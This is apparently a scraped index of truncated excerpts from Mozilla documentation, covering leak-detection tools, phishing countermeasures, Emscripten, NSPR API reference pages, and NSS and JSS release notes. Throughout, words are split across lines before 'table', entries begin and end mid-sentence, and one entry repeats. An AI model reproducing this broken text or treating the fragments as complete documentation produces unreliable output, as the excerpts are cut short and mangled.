tistics on allocations and refcounts, and provides gross numbers on the amount of memory being leaked broken down by class. it is used as part of mozilla's continuous integration testing. refcount tracing and balancing refcount tracing and balancing are ways to track down leaks caused by incorrect uses of reference counting. they are slow and not particular easy to use, and thus most sui
table for use by expert developers. gc and cc logs gc and cc logs can be generated and analyzed to in various ways. in particular, they can help you understand why a particular object is being kept alive. valgrind valgrind is a tool that detects various memory-related problems at runtime, including leaks. valgrind is used as part of mozilla's continuous integration testing, though t...
Phishing: a short definition
hijack their account. past and current countermeasures various technical, and social approaches, exist to combat phishing attacks. none of these are sufficient by themselves, so we see a mix of these deployed by various services. the following is a non-exhaustive list of the most common approaches. shifting blame to users some quick-to-implement, and cost-effective solutions, hold users accoun
table for their actions instead of restricting what’s technically possible. earlier responses by affected banks, and payment providers, was to attempt educating users to not click links in emails, along with requesting to verify email legitimacy through checking for relevant personal information. another solution is to strengthen logins with pictures, or colored words, often chosen when signing up f...
Emscripten
standards-based, has numerous independent compatible implementations, and runs everywhere from pcs to ipads. with emscripten, c/c++ developers don’t have the high cost of porting code manually to javascript — or having to learn javascript at all. web developers also benefit, as they can use the many thousands of pre-existing native utilities and libraries in their sites. practically any por
table c or c++ codebase can be compiled into javascript using emscripten, ranging from high performance games that need to render graphics, play sounds, and load and process files, through to application frameworks like qt. emscripten generates fast code — its default output format is asm.js , a highly optimizable subset of javascript that can execute at close to native speed in many cases. note: ...
McCoy
der. this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost! running mccoy to run mccoy simply run the mccoy execu
table (or the mccoy application on os x). the first time it runs it will ask you to create a master password. it is strongly recommended that you use a password to protect your mccoy data. once you have a password set you can change it from the keys menu and you will have to enter it each time you run mccoy. signing from command line currently there is no support to run mccoy from command line under ...
NSPR's Position On Abrupt Thread Termination
threads are not processes. abrupt termination has been available in the unix/c environment for some time (exit()), and i assume that the basic semantics defined there are applicable here. in that environment, exit() may be called and any time, and results in the calling thread's immediate termination. ...
Nonblocking IO In NSPR
a thread invoking an io function is blocked until the io operation is finished. the blocking io model encourages the use of multiple threads as a programming model. a thread is typically created to attend to one of the simultaneous i/o operations that may potentially block. in the nonblocking io model, a file descriptor may be marked as nonblocking. an io function on a nonblocking file descriptor either succeeds immediately or fails immediately with <tt>pr_would_block_error</tt>. a single thread is sufficient to attend to multiple nonblocking file descriptors simultaneously. ...
Process Forking in NSPR
on some platforms, nspr threads directly map one-to-one to the threads provided by the platform vendor, on other platforms nspr threads are basically user-level threads within a single process (with no kernel threads) and on still others nspr threads are user-level threads implemented on top of one or more kernel threads within single address space. nspr does not override the fork function and so, when fork is called from the nspr thread the results are different on the various platforms. ...
Atomic Operations
since not all operating environments provide access to such functions, their performance may vary considerably. atomic operations functions the api defined for the atomic functions is consistent across all supported platforms. however, the implementation may vary greatly, and hence the performance. on systems that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanisms. for such systems, nspr performs atomic operations just as efficiently as the client could. ...
Cached Monitors
this chapter describes the functions you use when you work with cached monitors. unlike a plain monitor, a cached monitor is associated with the address of a protected object, and the association is maintained only while the protection is needed. this arrangement allows a cached monitor to be associated with another object without preallocating a monitor for all objects. a hash
table is used to quickly map addresses to their respective monitors. the system automatically enlarges the hash
table as needed. important cached monitors are slower to use than their uncached counterparts. see monitors for information about uncached monitors. cached monitors functions cached monitors allow the client to associate monitoring protection and state change synchronization in a lazy fashion. the monitor...
I/O Types
te that the nspr documentation follows the unix convention of using the termfiles to refer to many kinds of i/o objects. to refer specifically to the files in a file system (that is, disk files), this documentation uses the termnormal files. prfiledesc has an object-oriented flavor. an i/o function on a prfiledesc structure is carried out by invoking the corresponding "method" in the i/o methods
table (a structure of type priomethods) of the prfiledesc structure (the "object"). different kinds of i/o objects (such as files and sockets) have different i/o methods
tables, thus implementing different behavior in response to the same i/o function call. nspr supports the implementation of layered i/o. each layer is represented by a prfiledesc structure, and the prfiledesc structures for the layers...
Long Long (64-bit) Integers
where 64-bit integers are desired, use of nspr's implementation is recommended to ensure cross-platform compatibility. most of the 64-bit integer operations are implemented as macros. the specific implementation of each macro depends on whether the compiler for the target platform supports 64-bit integers. for a specific target platform, if 64-bit integers are supported for that platform, define have_long_long at compile time. ...
NSPR Error Handling
_symbol_error symbol could not be found in the specified library. pr_insufficient_resources_error there are insufficient system resources to process the request. pr_directory_lookup_error a directory lookup on a network address has failed. pr_tpd_range_error attempt to access a thread-private data index that is out of range of any index that has been allocated to the process. pr_proc_desc_
table_full_error the process'
table for holding open file descriptors is full. pr_sys_desc_
table_full_error the system's
table for holding open file descriptors has been exceeded. pr_not_socket_error an attempt to use a non-network file descriptor on a network-only operation. pr_not_tcp_socket_error attempt to perform a tcp specific function on a non-tcp file descriptor. pr_socket_address_is_bo...
NSPR LOG MODULES
gging. this ensures that all log messages are flushed to the operating system as they are written, but may slow the program down. bufsize:size the name bufsize:size sets the log buffer to size. examples log everything from the toolkit::storage component that happens, prefixing each line with the timestamp when it was logged to the file /tmp/foo.log (which will be replaced each time the execu
table is run). set nspr_log_modules=timestamp,mozstorage:5 set nspr_log_file=/tmp/foo.log logging with try server for mochitest, edit variable nspr_log_modules in testing/mochitest/runtests.py before pushing to try. you would be able to download the log file as an artifact from the log viewer. (other tests?) ...
NSPR Types
least 16 bits, though various architectures may define them to be wider (for example, 32 or even 64 bits). these types are never valid for fields of a structure. printn pruintn miscellaneous types size type pointer difference types boolean types status type for return values size type prsize pointer difference types types for pointer difference. variables of these types are sui
table for storing a pointer or pointer subtraction. these are the same as the corresponding types in libc. prptrdiff pruptrdiff boolean types type and constants for boolean values. prbool prpackedbool status type for return values prstatus ...
Named Shared Memory
losesharedmemory should be called when no further use of the prsharedmemory object is required within a process. following a call to pr_closesharedmemory, the prsharedmemory object is invalid and cannot be reused. pr_deletesharedmemory should be called before process termination. after you call pr_deletesharedmemory, any further use of the shared memory associated with the name may cause unpredic
table results. filenames the name passed to pr_opensharedmemory should be a valid filename for a unix platform. pr_opensharedmemory creates file using the name passed in. some platforms may mangle the name before creating the file and the shared memory. the unix implementation may use sysv ipc shared memory, posix shared memory, or memory mapped files; the filename may be used to define the namespace...
PLHashAllocOps
syntax #include <plhash.h> typedef struct plhashallocops { void *(pr_callback *alloc
table)(void *pool, prsize size); void (pr_callback *free
table)(void *pool, void *item); plhashentry *(pr_callback *allocentry)(void *pool, const void *key); void (pr_callback *freeentry)(void *pool, plhashentry *he, pruintn flag); } plhashallocops; #define ht_free_value 0 /* just free the entry's value */ #define ht_free_entry 1 /* free value and entire entry */ description users of the hash
table functions can provide their own memory allocation functions. a pair of functions is used to allocate and tree the
table, and another pair of functions is used to allocate and free the
table entries. the first argument, pool, for all four functions is a void * pointer that is a piece of data for the memo...
PL_HashString
a general-purpose hash function for character strings. syntax #include <plhash.h> plhashnumber pl_hashstring(const void *key); parameter the function has the following parameter: key a pointer to a character string. returns the hash number for the specified key. description pl_hashstring can be used as the key hash function for a hash
table if the key is a character string. ...
PRFileDesc
used to represent any open file, such as a normal file, an end point of a pipe, or a socket (end point of network communication). syntax #include <prio.h> struct prfiledesc { priomethods *methods; prfileprivate *secret; prfiledesc *lower, *higher; void (*dtor)(prfiledesc *fd); prdescidentity identity; }; typedef struct prfiledesc prfiledesc; parameters methods the i/o methods
table. see priomethods. secret layer-dependent implementation data. see prfileprivate. lower pointer to lower layer. higher pointer to higher layer. dtor a destructor function for the layer. identity identity of this particular layer. see prdescidentity. description the fields of this structure are significant only if you are implementing a layer on top of nspr, such as ssl. otherwise, you...
PRHostEnt
ddress in bytes. all of the addresses in the list are of the same type and therefore of the same length. h_addr_list pointer to a pointer to a list of addresses from name server (in network byte order). the list is terminated with a null entry. description this structure is used by many of the network address functions. all addresses are passed in host order and returned in network order (sui
table for use in system calls). use the network address functions to manipulate the prhostent structure. to make the transition to ip version 6 easier, it's best to treat prhostent as an opaque structure. note winsock.h defines h_addrtype and h_length as a 16-bit field, whereas other platforms treat it as a 32-bit field. the #ifdef in the structure allows direct assignment of the prhostent structure...
PR_CreateIOLayerStub
the function has the following parameters: ident the identity to be associated with the new layer. methods a pointer to the priomethods structure specifying the functions for the new layer. returns a new file descriptor for the specified layer. description a new layer may be allocated by calling pr_createiolayerstub. the file descriptor returned contains the pointer to the i/o methods
table provided. the runtime neither modifies the
table nor tests its correctness. the caller should override appropriate contents of the file descriptor returned before pushing it onto the protocol stack. ...
PR_CreateThreadPool
syntax #include <prtpool.h> nspr_api(prthreadpool *) pr_createthreadpool( print32 initial_threads, print32 max_threads, pruint32 stacksize ); parameters the function has the following parameters: initial_threads the number of threads to be created within this thread pool. max_threads the limit on the number of threads that will be created to server the thread pool. stacksize size of the stack allocated to each thread in the thread. returns pointer to a prthreadpool structure or null on error. ...
PR_GetDefaultIOMethods
gets the default i/o methods
table. syntax #include <prio.h> const priomethods* pr_getdefaultiomethods(void); returns if successful, the function returns a pointer to a priomethods structure. description after using pr_getdefaultiomethods to identify the default i/o methods
table, you can select elements from that
table with which to build your own layer's methods
table. you may not modify the default i/o methods
table directly. you can pass your own layer's methods
table to pr_createiolayerstub to create your new layer. ...
PR_GetInheritedFileMap
imports a prfilemap previously exported by my parent process via pr_createprocess. syntax #include <prshma.h> nspr_api( prfilemap *) pr_getinheritedfilemap( const char *shmname ); parameter the function has the following parameter: shmname the name provided to pr_processattrsetinheri
tablefilemap. returns pointer to prfilemap or null on error. description pr_getinheritedfilemap retrieves a prfilemap object exported from its parent process via pr_createprocess. note: this function is not implemented. ...
PR_GetLibraryName
as returned by pr_getlibrarypath. lib the leaf name of the library of interest. returns if successful, returns a new character string containing a constructed path name. in case of error, returns null. description this function constructs a full path name from the specified directory name and library name. the constructed path name refers to the actual dynamically loaded library. it is sui
table for use in the pr_loadlibrary call. this function does not test for existence of the specified file, it just constructs the full filename. the way the name is constructed is system dependent. if sufficient storage cannot be allocated to contain the constructed path name, the function returns null. storage for the result is allocated by the runtime and becomes the responsibility of the caller. w...
PR_GetRandomNoise
ed on this platform, or there is no available noise to be returned at the time of the call. description pr_getrandomnoise provides a random value, depending on platform. the length of the random value is dependent on the platform and its ability to provide a random value at that moment. pr_getrandomnoise is intended to provide a "seed" value for a another random number generator that may be sui
table for cryptographic operations. this implies that the random value provided may not be, by itself, cryptographically secure. the value generated by pr_getrandomnoise is at best, extremely difficult to predict and is as nondeterministic as the underlying platfrom permits. ...
PR ImportTCPSocket
, and poll on the native file descriptor. the caller must not do anything to the native file descriptor before the pr_importtcpsocket call that will prevent the native file descriptor from working in non-blocking mode. warning in theory, code that uses pr_importtcpsocket may break when nspr's implementation changes. in practice, this is unlikely to happen because nspr's implementation has been s
table for years and because of nspr's strong commitment to backward compatibility. using pr_importtcpsocket is much more convenient than writing an nspr i/o layer that wraps your native tcp sockets. of course, it is best if you just use pr_opentcpsocket or pr_newtcpsocket. if you are not sure whether pr_importtcpsocket is right for you, please ask in the mozilla.dev.tech.nspr newsgroup. ...
PR_NewTCPSocket
o start listening for connection setup requests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may send and receive data between each other. to receive data, one can call pr_read or pr_recv. to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile. pr_acceptread is sui
table for use by the server to accept a new client connection and read the client's first request in one function call. a tcp connection can be shut down by pr_shutdown, and the sockets should be closed by pr_close. see also pr_newtcpsocket is deprecated because it is hardcoded to create an ipv4 tcp socket. new code should use pr_opentcpsocket instead, which allows the address family (ipv4 or ipv6) ...
PR_NewThreadPrivateIndex
syntax #include <prthread.h> prstatus pr_newthreadprivateindex( pruintn *newindex, prthreadprivatedtor destructor); parameters pr_newthreadprivateindex has the following parameters: newindex on output, an index that is valid for all threads in the process. you use this index with pr_setthreadprivate and pr_getthreadprivate. destructor specifies a destructor function prthreadprivatedtor for the private data associated with the index. this function can be specified as null. returns the function returns one of the following values: if successful, pr_success. ...
PR_Now
parameters none. returns the current time as a prtime value. description pr_now() returns the current time as number of microseconds since the nspr epoch, which is midnight (00:00:00) 1 january 1970 utc. you cannot assume that the values returned by pr_now() are monotonically increasing because the system clock of the computer may be reset. to obtain monotonically increasing time stamps sui
table for measuring elapsed time, use pr_intervalnow(). ...
PR_Open
ists, no action and null is returned. mode when pr_create_file flag is set and the file is created, these flags define the access permission bits of the newly created file. this feature is currently only applicable on unix platforms. it is ignored by any other platform but it may apply to other platforms in the future. possible values of the mode parameter are listed in the
table below. name value description pr_irwxu 0700 read, write, execute/search by owner. pr_irusr 0400 read permission, owner. pr_iwusr 0200 write permission, owner. pr_ixusr 0100 execute/search permission, owner. pr_irwxg 0070 read, write, execute/search by group pr_...
PR_OpenTCPSocket
o start listening for connection setup requests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may send and receive data between each other. to receive data, one can call pr_read or pr_recv. to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile. pr_acceptread is sui
table for use by the server to accept a new client connection and read the client's first request in one function call. a tcp connection can be shut down by pr_shutdown, and the sockets should be closed by pr_close. ...
PR_QueueJob_Write
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_write( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure previously created by a call to pr_createthreadpool. iod a pointer to a prjobiodesc structure. fn the function to be executed when the job is executed. arg a pointer to an argument passed to fn. joinable if pr_true, the job is joinable. if pr_false, the job is not joinable. see pr_joinjob. ...
Process Management and Interprocess Communication
tion function fall into these categories: setting the attributes of a new process creating and managing processes setting the attributes of a new process the functions that create and manipulate attribute sets of new processes are: pr_newprocessattr pr_resetprocessattr pr_destroyprocessattr pr_processattrsetstdioredirect pr_processattrsetcurrentdirectory pr_processattrsetinheri
tablefd creating and managing processes the functions that create and manage processes are: pr_createprocess pr_detachprocess pr_waitprocess pr_killprocess ...
NSPR
the api is used in the mozilla clients, many of red hat's and oracle's server applications, and other software offerings. documentation about nspr this topic describes, in general terms, the goals of nspr and a bit about how it does it. nspr api reference the reference describes each api public macro, structure and function in the nspr api. nspr build instructions how to checkout and build from source. nspr release process how to prepare an nspr release. ...
Building NSS
tem as mozilla firefox. you must first install the windows prerequisites, including mozillabuild. you can also build nss on the windows subsystem for linux, but the resulting binaries aren't usable by other windows applications. get the source nss and nspr use mercurial for source control like other mozilla projects. to check out the latest sources for nss and nspr--which may not be part of a s
table release--use the following commands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases. build build nss using our build script: nss/build.sh this builds both nspr and nss. build with make alternatively, there is a make target called "nss_build_all", which produces a similar resu...
Certificate functions
mxr) link for each function provides access to the function definition, prototype definition, and source code references. the nss version column indicates which versions of nss support the function. ...
HTTP delegation
to learn how to use this api synchronously or asynchronously. now that we have explained the interaction between nss, the callback functions and the application, let's look at the steps required by the application to initially register the callbacks. make sure you have completed the nss initialization before you attempt to register the callbacks. look at sec_httpclientfcn, which is a (versioned)
table of function pointers. create an instance of this type and supply a pointer to your implementation for each entry in the function
table. finally register your http client implementation with a call to sec_registerdefaulthttpclient. ...
HTTP delegation
to learn how to use this api synchronously or asynchronously. now that we have explained the interaction between nss, the callback functions and the application, let's look at the steps required by the application to initially register the callbacks. make sure you have completed the nss initialization before you attempt to register the callbacks. look at sec_httpclientfcn, which is a (versioned)
table of function pointers. create an instance of this type and supply a pointer to your implementation for each entry in the function
table. finally register your http client implementation with a call to sec_registerdefaulthttpclient. ...
JSS 4.4.0 Release Notes
introduction the java security services (jss) team has released jss 4.4.0, which is a minor release. distribution information the hg tag is jss_4_4_20170313. jss 4.4.0 requires netswork security services (nss) 3.29.1 and netscape por
table runtime (nspr) 4.13.1 or newer. jss 4.4.0 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/jss_4_4_0_rtm/src/ new in jss 4.40 new functionality new functions new macros no
table changes in jss 4.40 picks up work done downstream for fedora and rhel and used by various linux distributions with includes:. support for ipv6. support for tls v1.1 and tls v1.2 via nss though jss. bugs fixed in jss 4.4.0 this bugzilla query returns...
NSS 3.12.4 release notes
bug 505561: need a generic function a la secmod_openuserdb() that can be used on non-softoken modules. bug 505858: nss_registershutdown can return without unlocking nssshutdownlist.lock bug 507041: invalid build options for vc6 bug 507228: cor...
NSS 3.14.1 release notes
note that this code is used primarily for purposes of testing. new functions in ocspt.h cert_createocspsingleresponsegood cert_createocspsingleresponseunknown cert_createocspsingleresponserevoked cert_createencodedocspsuccessresponse cert_createencodedocsperrorresponse new types in ocspt.h certocspresponderidtype no
table changes in nss 3.14.1 windows ce support has been removed from the code base. bug 812399 - in nss 3.14, a regression caused bug 641052 / cve-2011-3640 to be re-introduced under certain situations. this regression only affected applications that initialize nss via the nss_nodb_init function. nss 3.14.1 includes the complete fix for this issue. bug 357025 - nss 3.14 added support for tokens ...
NSS 3.14.2 release notes
manual pages for some nss command line tools have been added. they are still under review, and contributions are welcome. the documentation is in the docbook format and can be rendered as html and unix-style manual pages using an optional build target. new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing no
table changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel. if compiled on linux systems in 64-bit mode, nss will include runtime detection to check if the platform supports aes-ni and pclmulqdq. if so, nss uses the optimized code path, reducing the cpu cycles per byte to 1/20 of what was required before the patch (https://bugzilla...
NSS 3.14.3 release notes
rams - parameters for use with ckm_nss_hmac_constant_time and ckm_nss_ssl3_mac_constant_time. new pkcs #11 mechanisms ckm_nss_hmac_constant_time - constant-time hmac operation for use when verifying a padded, mac-then-encrypted block of data. ckm_nss_ssl3_mac_constant_time - constant-time mac operation for use when verifying a padded, mac-then-encrypted block of data using the sslv3 mac. no
table changes in nss 3.14.3 cve-2013-1620 recent research by nadhem alfardan and kenny patterson has highlighted a weakness in the handling of cbc padding as used in ssl, tls, and dtls that allows an attacker to exploit timing differences in mac processing. the details of their research and the attack can be found at http://www.isg.rhul.ac.uk/tls/, and has been referred to as "lucky thirteen". ...
NSS 3.15.1 release notes
her suites. in sslerr.h ssl_error_unsupported_hash_algorithm, ssl_error_digest_failure, ssl_error_incorrect_signature_algorithm - new error codes for tls 1.2. in sslt.h ssl_hmac_sha256 - a new value in the sslmacalgorithm enum type. ssl_signature_algorithms_xtn - a new value in the sslextensiontype enum type. new pkcs #11 mechanisms none. no
table changes in nss 3.15.1 bug 856060 - enforce name constraints on the common name in libpkix when no subjectaltname is present. bug 875156 - add const to the function arguments of sec_certnicknameconflict. bug 877798 - fix ssltap to print the certificate_status handshake message correctly. bug 882829 - on windows, nss initialization fails if nss cannot call the rtlgenrandom function. bug...
NSS 3.15.2 release notes
tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_cipherfinal has been introduced, which is a simple alias for pk11_digestfinal. new types no new types have been introduced. new pkcs #11 mechanisms no new pkcs#11 mechanisms have been introduced no
table changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures. bug 884178 - add pk11_cipherfinal macro bugs fixed in nss 3.15.2 bug 734007 - sizeof() used incorrectly bug 900971 - nssutil_readsecmoddb() lea...
NSS 3.15.4 release notes
s. new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post. new pkcs #11 mechanisms none. no
table changes in nss 3.15.4 reordered the cipher suites offered in ssl/tls client hello messages to match modern best practices. updated the set of root ca certificates (version 1.96). improved ssl/tls false start. in addition to enabling the ssl_enable_false_start option, an application must now register a callback using the ssl_setcanfalsestartcallback function. when building on windows, os_targ...
NSS 3.15.5 release notes
npn or alpn (or both) should be used for application layer protocol negotiation. added the tls padding extension. the extension type value is 35655, which may change when an official extension type value is assigned by iana. nss automatically adds the padding extension to clienthello when necessary. added a new macro cert_list_tail, defined in certt.h, for getting the tail of a certcertlist. no
table changes in nss 3.15.5 bug 950129: improve the ocsp fetching policy when verifying ocsp responses bug 949060: validate the iov input argument (an array of priovec structures) of ssl_writev (called via pr_writev). applications should still take care when converting struct iov to priovec because the iov_len members of the two structures have different types (size_t vs. int). size_t is unsigned an...
NSS 3.15 release notes
kcs#11 operation (eg: not multi-part). this is necessary for aes-gcm. new types in secitem.h secitemarray - represents a variable-length array of secitems. new macros in ssl.h ssl_enable_ocsp_stapling - used with ssl_optionset to configure tls client sockets to request the certificate_status extension (eg: ocsp stapling) when set to pr_true no
table changes in nss 3.15 secitem_reallocitem is now deprecated. please consider using secitem_reallocitemv2 in all future code. nss has migrated from cvs to the mercurial source control management system. updated build instructions are available at migration to hg as part of this migration, the source code directory layout has been re-organized. the list of root ca certific...
NSS 3.16.1 release notes
ed from the experimental value 35655 to the iana-assigned value 21. . new macros in secmod.h public_mech_ecc_flag - a public mechanism flag for elliptic curve cryptography (ecc) operations. in utilmodt.h secmod_ecc_flag - an nss-internal mechanism flag for elliptic curve cryptography (ecc) operations. this macro has the same numeric value as public_mech_ecc_flag. no
table changes in nss 3.16.1 imposed name constraints on the french government root ca anssi (dciss). bugs fixed in nss 3.16.1 this bugzilla query returns all the bugs fixed in nss 3.16.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.1 ...
NSS 3.16.2.2 release notes
_16_2_2_rtm. nss 3.16.2.2 requires nspr 4.10.6 or newer. nss 3.16.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_2_rtm/src/ new in nss 3.16.2.2 new functionality no new functionality is introduced in this release. this is a patch release to fix a regression. no
table changes in nss 3.16.2.2 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries. bugs fixed in nss 3.16.2.2 bug 1049435 - importing an rsa private key fails if p < q compatibility nss 3.16.2.2 shared libraries are...
NSS 3.16.2.3 release notes
esult of tls version fallback. new macros in ssl.h ssl_enable_fallback_scsv - an ssl socket option that enables tls_fallback_scsv. off by default. in sslerr.h ssl_error_inappropriate_fallback_alert - a new ssl error code. in sslproto.h tls_fallback_scsv - a a signaling cipher suite value that indicates a handshake is the result of tls version fallback. no
table changes in nss 3.16.2.3 bug 1057161: check that an imported elliptic curve public key is valid. previously nss would only validate the peer's public key before performing ecdh key agreement. now ec public keys are validated at import time. bugs fixed in nss 3.16.2.3 bug 1057161 - nss hangs with 100% cpu on invalid ec key bug 1036735 - add support for draft-ietf-tls-downgrade-scsv to nss ...
NSS 3.16.2 release notes
fied with a ck_mechanism_type. new macros in sslerr.h ssl_error_next_protocol_no_callback - an ssl error code that means the next protcol negotiation extension was enabled, but the callback was cleared prior to being needed. ssl_error_next_protocol_no_protocol - an ssl error code that means the server supports no protocols that the client advertises in the alpn extension. no
table changes in nss 3.16.2 the btoa command has a new command-line option -w suffix, which causes the output to be wrapped in begin/end lines with the given suffix. use "c" as a shorthand for the suffix certificate. the certutil commands supports additionals types of subject alt name extensions: --extsan type:name[,type:name]... the certutil commands supports generic certificate extensi...
NSS 3.16.3 release notes
ase consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function. new functions in cert.h cert_getgeneralnametypefromstring - an utlity function to lookup a value of type certgeneralnametype given a human readable string. this function was already added in nss 3.16.2, however, it wasn't declared in a public header file. ...
NSS 3.16.4 release notes
g tag is nss_3_16_4_rtm. nss 3.16.4 requires nspr 4.10.6 or newer. nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/ new in nss 3.16.4 this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes. no
table changes in nss 3.16.4 the following 1024-bit root ca certificate was restored to allow more time to develop a better transition strategy for affected sites. it was removed in nss 3.16.3, but discussion in the mozilla.dev.security.policy forum led to the decision to keep this root included longer in order to give website administrators more time to update their web servers. cn = gte cybert...
NSS 3.16.6 release notes
g is nss_3_16_6_rtm. nss 3.16.6 requires nspr 4.10.6 or newer. nss 3.16.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_6_rtm/src/ new in nss 3.16.6 new functionality no new functionality is introduced in this release. this is a patch release to fix a regression. no
table changes in nss 3.16.6 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries. bugs fixed in nss 3.16.6 bug 1049435 - importing an rsa private key fails if p < q compatibility nss 3.16.6 shared libraries are backw...
NSS 3.16 release notes
gnature, assuming that the certificate has been verified already. new macros in sslproto.h tls_rsa_with_rc4_128_sha, tls_rsa_with_3des_ede_cbc_sha, etc. - cipher suites that were first defined in ssl 3.0 can now be referred to with their official iana names in tls, with the tls_ prefix. previously, they had to be referred to with their names in ssl 3.0, with the ssl_ prefix. no
table changes in nss 3.16 ecc is enabled by default. it is no longer necessary to set the environment variable nss_enable_ecc=1 when building nss. to disable ecc, set the environment variable nss_disable_ecc=1 when building nss. bug 903885: (cve-2014-1492) in a wildcard certificate, the wildcard character should not be embedded within the u-label of an internationalized domain name. see the last bul...
NSS 3.17.1 release notes
esult of tls version fallback. new macros in ssl.h ssl_enable_fallback_scsv - an ssl socket option that enables tls_fallback_scsv. off by default. in sslerr.h ssl_error_inappropriate_fallback_alert - a new ssl error code. in sslproto.h tls_fallback_scsv - a a signaling cipher suite value that indicates a handshake is the result of tls version fallback. no
table changes in nss 3.17.1 signature algorithms now use sha-256 instead of sha-1 by default. added support for linux on little-endian powerpc64. bugs fixed in nss 3.17.1 this bugzilla query returns all the bugs fixed in nss 3.17.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.1 acknowledgements the...
NSS 3.17.2 release notes
3_17_2_rtm. nss 3.17.2 requires nspr 4.10.7 or newer. nss 3.17.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_2_rtm/src/ new in nss 3.17.2 new functionality no new functionality is introduced in this release. this is a patch release to fix a regression and other bugs. no
table changes in nss 3.17.2 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries. bug 1057161: check that an imported elliptic curve public key is valid. previously nss would only validate the peer's public key before perfor...
NSS 3.17.3 release notes
n the hg tag is nss_3_17_3_rtm. nss 3.17.3 requires nspr 4.10.7 or newer. nss 3.17.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_3_rtm/src/ new in nss 3.17.3 new functionality support for tls_fallback_scsv has been added to the ssltap and tstclnt utilities. no
table changes in nss 3.17.3 the quickder decoder now decodes lengths robustly (cve-2014-1569). the following ca certificates were removed cn = gte cybertrust global root sha1 fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 cn = thawte server ca sha1 fingerprint: 23:e5:94:94:51:95:f2:41:48:03:b4:d5:64:d2:a3:a3:f5:d8:8b:8c cn ...
NSS 3.17.4 release notes
is nss_3_17_4_rtm. nss 3.17.4 requires nspr 4.10.7 or newer. nss 3.17.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_4_rtm/src/ new in nss 3.17.4 new functionality no new functionality is introduced in this release. this is a patch release to fix multiple bugs. no
table changes in nss 3.17.4 bug 1084986: if an ssl/tls connection fails, because client and server don't have any common protocol version enabled, nss has been changed to report error code ssl_error_unsupported_version (instead of reporting ssl_error_no_cypher_overlap). bug 1112461: libpkix was fixed to prefer the newest certificate, if multiple certificates match. bug 1094492: fixed a memory corr...
NSS 3.17 release notes
andshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false. the ssl_reuse_server_ecdhe_key option defaults to pr_true, which means the server's ephemeral ecdh key is reused for multiple handshakes. this option does not affect the tls client code, which always generates a fresh ephemeral ecdh key for each handshake. new macros in ssl.h ssl_reuse_server_ecdhe_key no
table changes in nss 3.17 the manual pages for the certutil and pp tools have been updated to document the new parameters that had been added in nss 3.16.2. on windows, the new build variable use_static_rtl can be used to specify the static c runtime library should be used. by default the dynamic c runtime library is used. bugs fixed in nss 3.17 this bugzilla query returns all the bugs fixed in nss...
NSS 3.18.1 release notes
nss_3_18_1_rtm. nss 3.18.1 requires nspr 4.10.8 or newer. nss 3.18.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_1_rtm/src/ new in nss 3.18.1 no new functionality is introduced in this release. this is a patch release to update the list of root ca certificates. no
